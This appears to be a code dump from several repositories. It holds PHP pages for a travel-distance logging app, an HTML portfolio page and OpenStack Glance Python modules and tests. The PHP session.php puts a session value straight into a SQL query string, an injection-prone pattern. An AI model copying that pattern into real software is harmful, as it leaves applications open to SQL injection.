<h1>Travel Counter calculator to: <?php echo $row["counter_name"]." ".$row["counter_fam_name"]."";?></h1>
<div class="clear"></div>
<p class="col-xs-12">To save travel distances, use calculator below.</p>
<input type="button" id="myBtn" value="Travel history" class="btn btn-primary"/>
<div id="myModal" class="modal">
<!-- Modal content -->
<div class="modal-content">
<span class="close">x</span>
<h2>Saved data for: <?php echo $row["counter_name"]." ".$row["counter_fam_name"]."";?></h2><br><br>
<?php
while($see = mysqli_fetch_array($result)){
echo "<b>ID: </b>" . $see['counter_id']. " | <b>Startingpoint:</b> " . $see['startingpoint']. " | <b>Destination:</b> " . $see['destination']. " | <b>Distance:</b> " . $see['distance']. "<br><hr>"; }?>
</div>
</header>
<div class="templatemo_lightgrey_about" id="login">
<div class="clear"></div>
<div class="templatemo_reasonbg">
<h2>Find the distance between two locations</h2>
<div id="distance_road"></div>
<div id="map_canvas"></div><br><br>
<!--<p>Select the function you want to do.</p>-->
<div class="col-md-3"> </div>
<div class="col-md-offset-1 col-md-3 col-xs-8 col-xs-offset-2">
<form action="" name="address" method="post">
<div class="form-group">
<input name="address1" type="text" class="form-control" onClick="info()" id="address1" placeholder="Ex. Daalhuizerweg 8, Velp" maxlength="150"/>
</div>
<div class="form-group">
<input name="address2" type="text" class="form-control" onClick="info()" id="address2" placeholder="Ex. Zijpendaalseweg 167, Arnhem" maxlength="150"/>
</div>
<div class="form-group">
<input name="date" type="text" id="date" class="form-control" placeholder="Select your travel day"/>
</div>
<div>
<input type="button" onclick="initialize();" value="Calculate" class="btn btn-primary"/>
</div>
</form>
</div>
<div class="row"> </div>
</div>
</div>
<div class="clear"></div>
<div class="clear"></div>
<div id="info">Write address in this form: Address 123, City /or Postcode: 1234 AB City<br>You can also search by place.<br> Ex. Amsterdam Central Station</div>
<!--Footer Start-->
<div class="templatemo_footer">
<div class="container">
<div class="col-xs-6 col-sm-6 col-md-3 templatemo_col12 col-md-offset-2">
<h2>About Travel Counter</h2>
<p>Travel Counter calculates the distance by giving the addresses. After that, it saves the data to central database, so someone can supervise it.</p>
</div>
<div class="col-xs-8 col-sm-6 col-md-3 templatemo_col12 col-md-offset-1">
<h2>Contact</h2>
<span class=""></span>
<span class="right col-xs-11">In case of a problem, please contact</span>
<div class="clear height10"></div>
<span class="left col-xs-1 fa fa-phone"></span>
<span class="right col-xs-11">0611440481</span>
<div class="clear height10"></div>
<span class="left col-xs-1 fa fa-envelope"></span>
<span class="right col-xs-11"><EMAIL></span>
<div class="clear height10"></div>
<span class="left col-xs-1 fa fa-globe"></span>
<span class="right col-xs-11">www.travelcounter.nl</span>
<div class="clear"></div>
</div>
</div>
</div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<!-- <script src="https://code.jquery.com/jquery.js"></script> -->
<!--<script src="js/jquery-1.10.2.min.js"></script>-->
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.cycle2.min.js"></script>
<script src="js/jquery.cycle2.carousel.min.js"></script>
<script src="js/jquery.nivo.slider.pack.js"></script>
<script src="js/snackbar.js"></script>
<script src="js/modal-box.js"></script>
<script src="js/cookie.js"></script>
<script src="js/nivoslider.js"></script>
<script src="js/footer.js"></script>
<script src="js/path.js"></script>
<script src="js/menuscroll.js"></script>
<script>$.fn.cycle.defaults.autoSelector = '.slideshow';</script>
<script src="js/jquery.singlePageNav.js"></script>
<script type="text/javascript" src="js/lib/jquery.mousewheel-3.0.6.pack.js"></script>
<script src="js/stickUp.min.js" type="text/javascript"></script>
</body>
</html><file_sep>/session.php
<?php
include('db.php');
session_start();
$user_check = $_SESSION['login_user'];
$ses_sql = mysqli_query($db,"SELECT counter_email, counter_name, counter_fam_name, counter_id, counter_year, counter_month, counter_day, counter_address, counter_postcode, counter_city FROM counter_users WHERE counter_email = '$user_check' ");
$travel_sql = mysqli_query($db,"SELECT counter_email, counter_name, counter_fam_name, counter_id, counter_year, counter_month, counter_day, counter_address, counter_postcode, counter_city FROM counter_users");
$tra_sql = mysqli_query($db,"SELECT counter_id, startingpoint, destination, distance FROM counter_travel");
$row = mysqli_fetch_array($ses_sql, MYSQLI_ASSOC);
$row2 = mysqli_fetch_array($tra_sql, MYSQLI_ASSOC);
$row3 = mysqli_fetch_array($travel_sql, MYSQLI_ASSOC);
$login_session = $row['counter_email'];
$id_session = $row['counter_id'];
if(!isset($_SESSION['login_user'])){
header("location:index.php");
}
?><file_sep>/admin_dashboard.php
<?php
include('session.php');
/* This sets the $time variable to the current hour in the 24 hour clock format */
$time = date("H");
/* Set the $timezone variable to become the current timezone */
$timezone = date("e");
/* If the time is less than 1000 hours, show good morning */
if ($time < "10") {
$timemsg = "Good morning";
} else
/* If the time is grater than or equal to 1200 hours, but less than 1700 hours, so good afternoon */
if ($time >= "10" && $time < "14") {
$timemsg = "Good day";
} else
/* If the time is grater than or equal to 1200 hours, but less than 1700 hours, so good afternoon */
if ($time >= "14" && $time < "17") {
$timemsg = "Good afternoon";
} else
/* Should the time be between or equal to 1700 and 1900 hours, show good evening */
if ($time >= "17" && $time < "22") {
$timemsg = "Have a nice evening";
} else
/* Finally, show good night if the time is greater than or equal to 1900 hours */
if ($time >= "22") {
$timemsg = "You still doing work this time";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Travel Counter | Admin</title>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Bootstrap -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/font-awesome.min.css" rel="stylesheet">
<link href="css/templatemo_style.css" rel="stylesheet">
<link rel="stylesheet" href="css/templatemo_misc.css">
<link href="css/circle.css" rel="stylesheet">
<link href="css/jquery.bxslider.css" rel="stylesheet" />
<link rel="stylesheet" href="css/nivo-slider.css">
<link rel="stylesheet" href="css/slimbox2.css" type="text/css" media="screen" />
<link href="http://fonts.googleapis.com/css?family=Raleway:400,100,600" rel="stylesheet" type="text/css">
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/JavaScript" src="js/slimbox2.js"></script>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
<![endif]-->
<link rel="stylesheet" type="text/css" href="css/ddsmoothmenu.css" />
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/ddsmoothmenu.js"></script>
<!--/***********************************************
* Smooth Navigational Menu- (c) Dynamic Drive DHTML code library (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code
***********************************************/
-->
<script type="text/javascript">
ddsmoothmenu.init({
mainmenuid: "templatemo_flicker", //menu DIV id
orientation: 'h', //Horizontal or vertical menu: Set to "h" or "v"
classname: 'ddsmoothmenu', //class added to menu's outer DIV
//customtheme: ["#1c5a80", "#18374a"],
contentsource: "markup" //"markup" or ["container_id", "path_to_menu_file"]
})
</script>
</head>
<body>
<header>
<!-- start menu -->
<div id="home">
<div class="templatemo_top">
<div class="container templatemo_container" id="#">
<div class="row">
<div class="col-sm-3 col-md-3">
<div class="logo">
<img src="images/logo_1.jpg" alt="RijnIjsssel">
</div>
</div>
<div class="col-sm-9 col-md-9 templatemo_col9">
<div id="top-menu">
<nav class="mainMenu">
<ul class="nav">
<li><a class="menu" href="#home"><?php echo $login_session; ?></a></li>
<li><a class="menu" href="#home">Home</a></li>
<li><a class="menu" href="logout_message.php">Log out</a></li>
</ul>
</nav>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="clear"></div>
<!-- end menu -->
<div id="slider" class="nivoSlider templatemo_slider">
<img src="images/slider/img_1_blank.jpg" alt="slide 1" />
<img src="images/slider/img_2_blank.jpg" alt="slide 2" />
<img src="images/slider/img_3_blank.jpg" alt="slide 3" />
</div>
<div class="templatemo_caption">
<!--Pois käytöstä! <div class="templatemo_slidetitle">Travel Counter</div>-->
<div class="clear"></div>
<h1><?php echo $timemsg; ?><br> <?php echo $row["counter_name"]." ".$row["counter_fam_name"]."";?></h1>
<div class="clear"></div>
<p class="col-xs-12">Select the function you want to do below.</p>
</div>
</header>
<div class="templatemo_lightgrey_about" id="login">
<div class="clear"></div>
<div class="templatemo_reasonbg">
<h2>Welcome to travel counter adminstration page <?php echo $row["counter_name"]." ".$row["counter_fam_name"]."";?></h2>
<p>Select the function you want to do</p>
<div class="container">
<div class="col-xs-6 col-sm-6 col-md-3 templatemo_col12">
<div class="item project-post">
<a href="admin_travel.php"><div class="templatemo_about_box">
<div class="square_coner">
<span class="texts-a"><i class="fa fa-map-marker"></i></span>
</div>
See saved travel data</div>
<div class="col-xs-12 col-sm-6 col-md-3 hover-box" >
<div class="inner-hover-box">
<p>See all travel data what employees have saved.</p>
</div>
</div>
</div></a>
</div>
<div class="col-xs-6 col-sm-6 col-md-3 templatemo_col12">
<div class="item project-post">
<a href=""><div class="templatemo_about_box">
<div class="square_coner">
<span class="texts-a"><i class="fa fa-cloud-download"></i></span>
</div>
NULL</div>
<div class="col-xs-6 col-sm-6 col-md-3 hover-box" >
<div class="inner-hover-box">
<p>NULL</p>
</div>
</div>
</div></a>
</div>
<div class="col-xs-6 col-sm-6 col-md-3 templatemo_col12 templatemo_margintop10">
<div class="item project-post">
<a href="admin_management.php"><div class="templatemo_about_box">
<div class="square_coner">
<span class="texts-a"><i class="fa fa-cogs"></i></span>
</div>
Settings</div>
<div class="col-xs-6 col-sm-6 col-md-3 hover-box" >
<div class="inner-hover-box">
<p>Change profile preferances.</p>
</div>
</div>
</div></a>
</div>
<div class="col-xs-6 col-sm-6 col-md-3 templatemo_col12 templatemo_margintop10">
<div class="item project-post">
<a href="admin_profile.php"><div class="templatemo_about_box">
<div class="square_coner">
<span class="texts-a"><i class="fa fa-user"></i></span>
</div>
Profile</div>
<div class="col-xs-6 col-sm-6 col-md-3 hover-box" >
<div class="inner-hover-box">
<p>See your profile and its information.</p>
</div>
</div>
</div></a>
</div>
</div>
</div>
<div class="clear"></div>
<div class="clear"></div>
<!--Footer Start-->
<div class="templatemo_footer">
<div class="container">
<div class="col-xs-6 col-sm-6 col-md-3 templatemo_col12 col-md-offset-2">
<h2>About Travel Counter</h2>
<p>Travel Counter calculates the distance by giving the addresses. After that, it saves the data to database, so someone can supervise it.</p>
</div>
<div class="col-xs-8 col-sm-6 col-md-3 templatemo_col12 col-md-offset-1">
<h2>Contact</h2>
<span class=""></span>
<span class="right col-xs-11">In case of a problem, please contact</span>
<div class="clear height10"></div>
<span class="left col-xs-1 fa fa-phone"></span>
<span class="right col-xs-11">0611440481</span>
<div class="clear height10"></div>
<span class="left col-xs-1 fa fa-envelope"></span>
<span class="right col-xs-11"><EMAIL></span>
<div class="clear height10"></div>
<span class="left col-xs-1 fa fa-globe"></span>
<span class="right col-xs-11">www.travelcounter.nl</span>
<div class="clear"></div>
</div>
</div>
</div>
<!--Footer End-->
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<!-- <script src="https://code.jquery.com/jquery.js"></script> -->
<script src="js/jquery-1.10.2.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.cycle2.min.js"></script>
<script src="js/jquery.cycle2.carousel.min.js"></script>
<script src="js/jquery.nivo.slider.pack.js"></script>
<script src="js/cookie.js"></script>
<script src="js/nivoslider.js"></script>
<script src="js/footer.js"></script>
<script src="js/path.js"></script>
<script src="js/menuscroll.js"></script>
<script>$.fn.cycle.defaults.autoSelector = '.slideshow';</script>
<script src="js/jquery.singlePageNav.js"></script>
<script type="text/javascript" src="js/lib/jquery.mousewheel-3.0.6.pack.js"></script>
<script src="js/stickUp.min.js" type="text/javascript"></script>
</body>
</html><file_sep>/counter_results.php
<?php
include('session.php');
$dist = $_POST['dist'];
$start = $_POST['start'];
$dest = $_POST['dest'];
$date = $_POST['date'];
$date = date("Y-m-d", strtotime($date));
$dist = mysqli_escape_string($db, $dist);
$start = mysqli_escape_string($db, $start);
$dest = mysqli_escape_string($db, $dest);
$date = mysqli_escape_string($db, $date);
/* Insert data to database */
$query = mysqli_query($db, "INSERT INTO counter_travel (counter_id, travel_date, startingpoint, destination, distance)
VALUES ('$id_session', '$date', '$start', '$dest', '$dist')");
$message = ('Travel data saved successfully, you will be redirected back to counter in 5 seconds');
?>
| 349f82b1b8c514d672ed5bd8e1755d7dcfff303a | [
"JavaScript",
"SQL",
"PHP"
] | 8 | PHP | timorantasuo/travelcounter | 8645ca06fd24a2d91e5196b9352534469610a5c4 | cd5112ab3f0f84c9193c785fa78ea807c959812f |
refs/heads/main | <repo_name>GiltinJr42/AoA-Arquitetura<file_sep>/AoA/portfolio.html
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" href="css/main.css" media="screen" />
</head>
<body>
<ul>
<li><a class="active" href=login.html>Login/Join</a></li>
<li><a href=contact.html>Contact</a></li>
<li><a href=aboutus.html>About</a></li>
<li><a href=portfolio.html>Portfolio</a></li>
<li><a href=index.html>Home</a></li>
<li><a href=index.html> <img src="img/logo1.png"></a></li>
</ul>
<div class="grid-holder">
<div class="card">
<span>
Casa de Praia em Natal - RN
</span>
<img src="img/casa2.png" alt="">
</div>
<div class="card">
<span>
Casa de Praia em Natal - RN
</span>
<img src="img/casa2.png" alt="">
</div>
<div class="card">
<span>
Casa de Praia em Natal - RN
</span>
<img src="img/casa2.png" alt="">
</div>
<div class="card">
<span>
Casa de Praia em Natal - RN
</span>
<img src="img/casa2.png" alt="">
</div>
<div class="card">
<span>
Casa de Praia em Natal - RN
</span>
<img src="img/casa2.png" alt="">
</div>
<div class="card">
<span>
Casa de Praia em Natal - RN
</span>
<img src="img/casa2.png" alt="">
</div>
<div class="card">
<span>
Casa de Praia em Natal - RN
</span>
<img src="img/casa2.png" alt="">
</div>
<div class="card">
<span>
Casa de Praia em Natal - RN
</span>
<img src="img/casa2.png" alt="">
</div>
<div class="card">
<span>
Casa de Praia em Natal - RN
</span>
<img src="img/casa2.png" alt="">
</div>
</div>
</body>
</html> | b88aec8d14128cb1bdf6c4eb0f6e203c95dd42c1 | [
"HTML"
] | 1 | HTML | GiltinJr42/AoA-Arquitetura | 6b888035600b05f0e2f74ea52d5ec19882a41833 | 5eb5523c21f6c99b0326d5f7711a143ddb567c4d |
refs/heads/master | <file_sep>#!/usr/bin/env python
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Routines for URL-safe encrypting/decrypting
"""
import base64
import string
import os
from Crypto.Cipher import AES
from Crypto import Random
from Crypto.Random import random
def urlsafe_encrypt(key, plaintext, blocksize=16):
"""
Encrypts plaintext. Resulting ciphertext will contain URL-safe characters
:param key: AES secret key
:param plaintext: Input text to be encrypted
:param blocksize: Non-zero integer multiple of AES blocksize in bytes (16)
:returns : Resulting ciphertext
"""
def pad(text):
"""
Pads text to be encrypted
"""
pad_length = (blocksize - len(text) % blocksize)
sr = random.StrongRandom()
pad = ''.join(chr(sr.randint(1, 0xFF)) for i in range(pad_length - 1))
# We use chr(0) as a delimiter between text and padding
return text + chr(0) + pad
# random initial 16 bytes for CBC
init_vector = Random.get_random_bytes(16)
cypher = AES.new(key, AES.MODE_CBC, init_vector)
padded = cypher.encrypt(pad(str(plaintext)))
return base64.urlsafe_b64encode(init_vector + padded)
def urlsafe_decrypt(key, ciphertext):
"""
Decrypts URL-safe base64 encoded ciphertext
:param key: AES secret key
:param ciphertext: The encrypted text to decrypt
:returns : Resulting plaintext
"""
# Cast from unicode
ciphertext = base64.urlsafe_b64decode(str(ciphertext))
cypher = AES.new(key, AES.MODE_CBC, ciphertext[:16])
padded = cypher.decrypt(ciphertext[16:])
return padded[:padded.rfind(chr(0))]
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010-2011 OpenStack, LLC
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import datetime
from glance.common import context
from glance.common import exception
from glance.common import utils
from glance.registry import context as rcontext
from glance.registry.db import api as db_api
from glance.registry.db import models as db_models
from glance.tests.unit import base
from glance.tests import utils as test_utils
_gen_uuid = utils.generate_uuid
UUID1 = _gen_uuid()
UUID2 = _gen_uuid()
CONF = {'sql_connection': 'sqlite://',
'verbose': False,
'debug': False}
FIXTURES = [
{'id': UUID1,
'name': 'fake image #1',
'status': 'active',
'disk_format': 'ami',
'container_format': 'ami',
'is_public': False,
'created_at': datetime.datetime.utcnow(),
'updated_at': datetime.datetime.utcnow(),
'deleted_at': None,
'deleted': False,
'checksum': None,
'min_disk': 0,
'min_ram': 0,
'size': 13,
'location': "swift://user:passwd@acct/container/obj.tar.0",
'properties': {'type': 'kernel'}},
{'id': UUID2,
'name': 'fake image #2',
'status': 'active',
'disk_format': 'vhd',
'container_format': 'ovf',
'is_public': True,
'created_at': datetime.datetime.utcnow(),
'updated_at': datetime.datetime.utcnow(),
'deleted_at': None,
'deleted': False,
'checksum': None,
'min_disk': 5,
'min_ram': 256,
'size': 19,
'location': "file:///tmp/glance-tests/2",
'properties': {}}]
class TestRegistryDb(base.IsolatedUnitTest):
def setUp(self):
"""Establish a clean test environment"""
super(TestRegistryDb, self).setUp()
conf = test_utils.TestConfigOpts(CONF)
self.adm_context = rcontext.RequestContext(is_admin=True)
self.context = rcontext.RequestContext(is_admin=False)
db_api.configure_db(conf)
self.destroy_fixtures()
self.create_fixtures()
def create_fixtures(self):
for fixture in FIXTURES:
db_api.image_create(self.adm_context, fixture)
def destroy_fixtures(self):
# Easiest to just drop the models and re-create them...
db_models.unregister_models(db_api._ENGINE)
db_models.register_models(db_api._ENGINE)
def test_image_get(self):
image = db_api.image_get(self.context, UUID1)
self.assertEquals(image['id'], FIXTURES[0]['id'])
def test_image_get_disallow_deleted(self):
db_api.image_destroy(self.adm_context, UUID1)
self.assertRaises(exception.NotFound, db_api.image_get,
self.context, UUID1)
def test_image_get_allow_deleted(self):
db_api.image_destroy(self.adm_context, UUID1)
image = db_api.image_get(self.adm_context, UUID1)
self.assertEquals(image['id'], FIXTURES[0]['id'])
def test_image_get_force_allow_deleted(self):
db_api.image_destroy(self.adm_context, UUID1)
image = db_api.image_get(self.context, UUID1, force_show_deleted=True)
self.assertEquals(image['id'], FIXTURES[0]['id'])
def test_image_get_all(self):
images = db_api.image_get_all(self.context)
self.assertEquals(len(images), 2)
def test_image_get_all_marker(self):
images = db_api.image_get_all(self.context, marker=UUID2)
self.assertEquals(len(images), 1)
def test_image_get_all_marker_deleted(self):
"""Cannot specify a deleted image as a marker."""
db_api.image_destroy(self.adm_context, UUID1)
filters = {'deleted': False}
self.assertRaises(exception.NotFound, db_api.image_get_all,
self.context, marker=UUID1, filters=filters)
def test_image_get_all_marker_deleted_showing_deleted_as_admin(self):
"""Specify a deleted image as a marker if showing deleted images."""
db_api.image_destroy(self.adm_context, UUID1)
images = db_api.image_get_all(self.adm_context, marker=UUID1)
self.assertEquals(len(images), 0)
def test_image_get_all_marker_deleted_showing_deleted(self):
"""Specify a deleted image as a marker if showing deleted images."""
db_api.image_destroy(self.adm_context, UUID1)
filters = {'deleted': True}
images = db_api.image_get_all(self.context, marker=UUID1,
filters=filters)
self.assertEquals(len(images), 0)
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack, LLC
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Tests a Glance API server which uses the caching middleware that
uses the default SQLite cache driver. We use the filesystem store,
but that is really not relevant, as the image cache is transparent
to the backend store.
"""
import hashlib
import json
import os
import shutil
import thread
import time
import BaseHTTPServer
import httplib2
from glance.tests import functional
from glance.tests.utils import (skip_if_disabled,
execute,
xattr_writes_supported)
FIVE_KB = 5 * 1024
class RemoteImageHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_HEAD(s):
"""
Respond to an image HEAD request fake metadata
"""
if 'images' in s.path:
s.send_response(200)
s.send_header('Content-Type', 'application/octet-stream')
s.send_header('Content-Length', FIVE_KB)
s.end_headers()
return
else:
self.send_error(404, 'File Not Found: %s' % self.path)
return
def do_GET(s):
"""
Respond to an image GET request with fake image content.
"""
if 'images' in s.path:
s.send_response(200)
s.send_header('Content-Type', 'application/octet-stream')
s.send_header('Content-Length', FIVE_KB)
s.end_headers()
image_data = '*' * FIVE_KB
s.wfile.write(image_data)
self.wfile.close()
return
else:
self.send_error(404, 'File Not Found: %s' % self.path)
return
class BaseCacheMiddlewareTest(object):
@skip_if_disabled
def test_cache_middleware_transparent(self):
"""
We test that putting the cache middleware into the
application pipeline gives us transparent image caching
"""
self.cleanup()
self.start_servers(**self.__dict__.copy())
api_port = self.api_port
registry_port = self.registry_port
# Add an image and verify a 200 OK is returned
image_data = "*" * FIVE_KB
headers = {'Content-Type': 'application/octet-stream',
'X-Image-Meta-Name': 'Image1',
'X-Image-Meta-Is-Public': 'True'}
path = "http://%s:%d/v1/images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'POST', headers=headers,
body=image_data)
self.assertEqual(response.status, 201)
data = json.loads(content)
self.assertEqual(data['image']['checksum'],
hashlib.md5(image_data).hexdigest())
self.assertEqual(data['image']['size'], FIVE_KB)
self.assertEqual(data['image']['name'], "Image1")
self.assertEqual(data['image']['is_public'], True)
image_id = data['image']['id']
# Verify image not in cache
image_cached_path = os.path.join(self.api_server.image_cache_dir,
image_id)
self.assertFalse(os.path.exists(image_cached_path))
# Grab the image
path = "http://%s:%d/v1/images/%s" % ("0.0.0.0", self.api_port,
image_id)
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
# Verify image now in cache
image_cached_path = os.path.join(self.api_server.image_cache_dir,
image_id)
# You might wonder why the heck this is here... well, it's here
# because it took me forever to figure out that the disk write
# cache in Linux was causing random failures of the os.path.exists
# assert directly below this. Basically, since the cache is writing
# the image file to disk in a different process, the write buffers
# don't flush the cache file during an os.rename() properly, resulting
# in a false negative on the file existence check below. This little
# loop pauses the execution of this process for no more than 1.5
# seconds. If after that time the cached image file still doesn't
# appear on disk, something really is wrong, and the assert should
# trigger...
i = 0
while not os.path.exists(image_cached_path) and i < 30:
time.sleep(0.05)
i = i + 1
self.assertTrue(os.path.exists(image_cached_path))
# Now, we delete the image from the server and verify that
# the image cache no longer contains the deleted image
path = "http://%s:%d/v1/images/%s" % ("0.0.0.0", self.api_port,
image_id)
http = httplib2.Http()
response, content = http.request(path, 'DELETE')
self.assertEqual(response.status, 200)
self.assertFalse(os.path.exists(image_cached_path))
self.stop_servers()
@skip_if_disabled
def test_cache_remote_image(self):
"""
We test that caching is no longer broken for remote images
"""
self.cleanup()
self.start_servers(**self.__dict__.copy())
api_port = self.api_port
registry_port = self.registry_port
# set up "remote" image server
server_class = BaseHTTPServer.HTTPServer
remote_server = server_class(('127.0.0.1', 0), RemoteImageHandler)
remote_ip, remote_port = remote_server.server_address
def serve_requests(httpd):
httpd.serve_forever()
thread.start_new_thread(serve_requests, (remote_server,))
# Add a remote image and verify a 201 Created is returned
remote_uri = 'http://%s:%d/images/2' % (remote_ip, remote_port)
headers = {'X-Image-Meta-Name': 'Image2',
'X-Image-Meta-Is-Public': 'True',
'X-Image-Meta-Location': remote_uri}
path = "http://%s:%d/v1/images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'POST', headers=headers)
self.assertEqual(response.status, 201)
data = json.loads(content)
self.assertEqual(data['image']['size'], FIVE_KB)
image_id = data['image']['id']
path = "http://%s:%d/v1/images/%s" % ("0.0.0.0", self.api_port,
image_id)
# Grab the image
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
# Grab the image again to ensure it can be served out from
# cache with the correct size
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
self.assertEqual(int(response['content-length']), FIVE_KB)
remote_server.shutdown()
self.stop_servers()
class BaseCacheManageMiddlewareTest(object):
"""Base test class for testing cache management middleware"""
def verify_no_images(self):
path = "http://%s:%d/v1/images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
data = json.loads(content)
self.assertTrue('images' in data)
self.assertEqual(0, len(data['images']))
def add_image(self, name):
"""
Adds an image and returns the newly-added image
identifier
"""
image_data = "*" * FIVE_KB
headers = {'Content-Type': 'application/octet-stream',
'X-Image-Meta-Name': '%s' % name,
'X-Image-Meta-Is-Public': 'True'}
path = "http://%s:%d/v1/images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'POST', headers=headers,
body=image_data)
self.assertEqual(response.status, 201)
data = json.loads(content)
self.assertEqual(data['image']['checksum'],
hashlib.md5(image_data).hexdigest())
self.assertEqual(data['image']['size'], FIVE_KB)
self.assertEqual(data['image']['name'], name)
self.assertEqual(data['image']['is_public'], True)
return data['image']['id']
def verify_no_cached_images(self):
"""
Verify no images in the image cache
"""
path = "http://%s:%d/v1/cached_images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
data = json.loads(content)
self.assertTrue('cached_images' in data)
self.assertEqual(data['cached_images'], [])
@skip_if_disabled
def test_cache_manage_get_cached_images(self):
"""
Tests that cached images are queryable
"""
self.cleanup()
self.start_servers(**self.__dict__.copy())
api_port = self.api_port
registry_port = self.registry_port
self.verify_no_images()
image_id = self.add_image("Image1")
# Verify image does not yet show up in cache (we haven't "hit"
# it yet using a GET /images/1 ...
self.verify_no_cached_images()
# Grab the image
path = "http://%s:%d/v1/images/%s" % ("0.0.0.0", self.api_port,
image_id)
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
# Verify image now in cache
path = "http://%s:%d/v1/cached_images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
data = json.loads(content)
self.assertTrue('cached_images' in data)
cached_images = data['cached_images']
self.assertEqual(1, len(cached_images))
self.assertEqual(image_id, cached_images[0]['image_id'])
self.assertEqual(0, cached_images[0]['hits'])
# Hit the image
path = "http://%s:%d/v1/images/%s" % ("0.0.0.0", self.api_port,
image_id)
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
# Verify image hits increased in output of manage GET
path = "http://%s:%d/v1/cached_images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
data = json.loads(content)
self.assertTrue('cached_images' in data)
cached_images = data['cached_images']
self.assertEqual(1, len(cached_images))
self.assertEqual(image_id, cached_images[0]['image_id'])
self.assertEqual(1, cached_images[0]['hits'])
self.stop_servers()
@skip_if_disabled
def test_cache_manage_delete_cached_images(self):
"""
Tests that cached images may be deleted
"""
self.cleanup()
self.start_servers(**self.__dict__.copy())
api_port = self.api_port
registry_port = self.registry_port
self.verify_no_images()
ids = {}
# Add a bunch of images...
for x in xrange(0, 4):
ids[x] = self.add_image("Image%s" % str(x))
# Verify no images in cached_images because no image has been hit
# yet using a GET /images/<IMAGE_ID> ...
self.verify_no_cached_images()
# Grab the images, essentially caching them...
for x in xrange(0, 4):
path = "http://%s:%d/v1/images/%s" % ("0.0.0.0", self.api_port,
ids[x])
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200,
"Failed to find image %s" % ids[x])
# Verify images now in cache
path = "http://%s:%d/v1/cached_images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
data = json.loads(content)
self.assertTrue('cached_images' in data)
cached_images = data['cached_images']
self.assertEqual(4, len(cached_images))
for x in xrange(4, 0): # Cached images returned last modified order
self.assertEqual(ids[x], cached_images[x]['image_id'])
self.assertEqual(0, cached_images[x]['hits'])
# Delete third image of the cached images and verify no longer in cache
path = "http://%s:%d/v1/cached_images/%s" % ("0.0.0.0", self.api_port,
ids[2])
http = httplib2.Http()
response, content = http.request(path, 'DELETE')
self.assertEqual(response.status, 200)
path = "http://%s:%d/v1/cached_images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
data = json.loads(content)
self.assertTrue('cached_images' in data)
cached_images = data['cached_images']
self.assertEqual(3, len(cached_images))
self.assertTrue(ids[2] not in [x['image_id'] for x in cached_images])
# Delete all cached images and verify nothing in cache
